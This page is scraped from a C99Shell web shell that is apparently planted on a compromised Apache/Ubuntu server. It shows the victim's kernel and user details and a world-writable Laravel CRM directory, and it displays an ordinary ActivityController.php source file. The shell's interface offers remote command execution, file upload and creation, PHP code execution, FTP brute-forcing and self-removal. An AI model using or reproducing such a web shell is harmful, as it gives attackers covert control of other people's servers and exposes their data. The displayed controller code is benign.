!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Activity/   drwxrwxrwx
Free 12.96 GB of 57.97 GB (22.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ActivityController.php (8.18 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Activity;

use 
Carbon\Carbon;
use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\View\View;
use 
Symfony\Component\HttpFoundation\RedirectResponse;
use 
Symfony\Component\HttpFoundation\StreamedResponse;
use 
Webkul\Activity\Repositories\ActivityRepository;
use 
Webkul\Activity\Repositories\FileRepository;
use 
Webkul\Admin\DataGrids\Activity\ActivityDataGrid;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Admin\Http\Requests\MassDestroyRequest;
use 
Webkul\Admin\Http\Requests\MassUpdateRequest;
use 
Webkul\Admin\Http\Resources\ActivityResource;
use 
Webkul\Attribute\Repositories\AttributeRepository;

class 
ActivityController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
ActivityRepository $activityRepository,
        protected 
FileRepository $fileRepository,
        protected 
AttributeRepository $attributeRepository,
    ) {}

    
/**
     * Display a listing of the resource.
     */
    
public function index(): View
    
{
        return 
view('admin::activities.index');
    }

    
/**
     * Returns a listing of the resource.
     */
    
public function get(): JsonResponse
    
{
        if (! 
request()->has('view_type')) {
            return 
datagrid(ActivityDataGrid::class)->process();
        }

        
$startDate request()->get('startDate')
            ? 
Carbon::createFromTimeString(request()->get('startDate').' 00:00:01')
            : 
Carbon::now()->startOfWeek()->format('Y-m-d H:i:s');

        
$endDate request()->get('endDate')
            ? 
Carbon::createFromTimeString(request()->get('endDate').' 23:59:59')
            : 
Carbon::now()->endOfWeek()->format('Y-m-d H:i:s');

        
$activities $this->activityRepository->getActivities([$startDate$endDate])->toArray();

        return 
response()->json([
            
'activities' => $activities,
        ]);
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function store(): RedirectResponse|JsonResponse
    
{
        
$this->validate(request(), [
            
'type'          => 'required',
            
'comment'       => 'required_if:type,note',
            
'schedule_from' => 'required_unless:type,note,file',
            
'schedule_to'   => 'required_unless:type,note,file',
            
'file'          => 'required_if:type,file',
        ]);

        if (
request('type') === 'meeting') {
            
/**
             * Check if meeting is overlapping with other meetings.
             */
            
$isOverlapping $this->activityRepository->isDurationOverlapping(
                
request()->input('schedule_from'),
                
request()->input('schedule_to'),
                
request()->input('participants'),
                
request()->input('id')
            );

            if (
$isOverlapping) {
                if (
request()->ajax()) {
                    return 
response()->json([
                        
'message' => trans('admin::app.activities.overlapping-error'),
                    ], 
400);
                }

                
session()->flash('success'trans('admin::app.activities.overlapping-error'));

                return 
redirect()->back();
            }
        }

        
Event::dispatch('activity.create.before');

        
$activity $this->activityRepository->create(array_merge(request()->all(), [
            
'is_done' => request('type') == 'note' 0,
            
'user_id' => auth()->guard('user')->user()->id,
        ]));

        
Event::dispatch('activity.create.after'$activity);

        if (
request()->ajax()) {
            return 
response()->json([
                
'data'    => new ActivityResource($activity),
                
'message' => trans('admin::app.activities.create-success'),
            ]);
        }

        
session()->flash('success'trans('admin::app.activities.create-success'));

        return 
redirect()->back();
    }

    
/**
     * Show the form for editing the specified resource.
     */
    
public function edit(int $id): View
    
{
        
$activity $this->activityRepository->findOrFail($id);

        
$leadId old('lead_id') ?? optional($activity->leads()->first())->id;

        
$lookUpEntityData $this->attributeRepository->getLookUpEntity('leads'$leadId);

        return 
view('admin::activities.edit'compact('activity''lookUpEntityData'));
    }

    
/**
     * Update the specified resource in storage.
     */
    
public function update($id): RedirectResponse|JsonResponse
    
{
        
Event::dispatch('activity.update.before'$id);

        
$data request()->all();

        
$activity $this->activityRepository->update($data$id);

        
/**
         * We will not use `empty` directly here because `lead_id` can be a blank string
         * from the activity form. However, on the activity view page, we are only updating the
         * `is_done` field, so `lead_id` will not be present in that case.
         */
        
if (isset($data['lead_id'])) {
            
$activity->leads()->sync(
                ! empty(
$data['lead_id'])
                    ? [
$data['lead_id']]
                    : []
            );
        }

        
Event::dispatch('activity.update.after'$activity);

        if (
request()->ajax()) {
            return 
response()->json([
                
'data'    => new ActivityResource($activity),
                
'message' => trans('admin::app.activities.update-success'),
            ]);
        }

        
session()->flash('success'trans('admin::app.activities.update-success'));

        return 
redirect()->route('admin.activities.index');
    }

    
/**
     * Mass Update the specified resources.
     */
    
public function massUpdate(MassUpdateRequest $massUpdateRequest): JsonResponse
    
{
        
$activities $this->activityRepository->findWhereIn('id'$massUpdateRequest->input('indices'));

        foreach (
$activities as $activity) {
            
Event::dispatch('activity.update.before'$activity->id);

            
$activity $this->activityRepository->update([
                
'is_done' => $massUpdateRequest->input('value'),
            ], 
$activity->id);

            
Event::dispatch('activity.update.after'$activity);
        }

        return 
response()->json([
            
'message' => trans('admin::app.activities.mass-update-success'),
        ]);
    }

    
/**
     * Download file from storage.
     */
    
public function download(int $id): StreamedResponse
    
{
        try {
            
$file $this->fileRepository->findOrFail($id);

            return 
Storage::download($file->path);
        } catch (
\Exception $exception) {
            
abort(404);
        }
    }

    
/*
     * Remove the specified resource from storage.
     */
    
public function destroy(int $id): JsonResponse
    
{
        
$activity $this->activityRepository->findOrFail($id);

        try {
            
Event::dispatch('activity.delete.before'$id);

            
$activity?->delete($id);

            
Event::dispatch('activity.delete.after'$id);

            return 
response()->json([
                
'message' => trans('admin::app.activities.destroy-success'),
            ], 
200);
        } catch (
\Exception $exception) {
            return 
response()->json([
                
'message' => trans('admin::app.activities.destroy-failed'),
            ], 
400);
        }
    }

    
/**
     * Mass Delete the specified resources.
     */
    
public function massDestroy(MassDestroyRequest $massDestroyRequest): JsonResponse
    
{
        
$activities $this->activityRepository->findWhereIn('id'$massDestroyRequest->input('indices'));

        try {
            foreach (
$activities as $activity) {
                
Event::dispatch('activity.delete.before'$activity->id);

                
$this->activityRepository->delete($activity->id);

                
Event::dispatch('activity.delete.after'$activity->id);
            }

            return 
response()->json([
                
'message' => trans('admin::app.activities.mass-destroy-success'),
            ]);
        } catch (
\Exception $exception) {
            return 
response()->json([
                
'message' => trans('admin::app.activities.mass-delete-failed'),
            ], 
400);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0111 ]--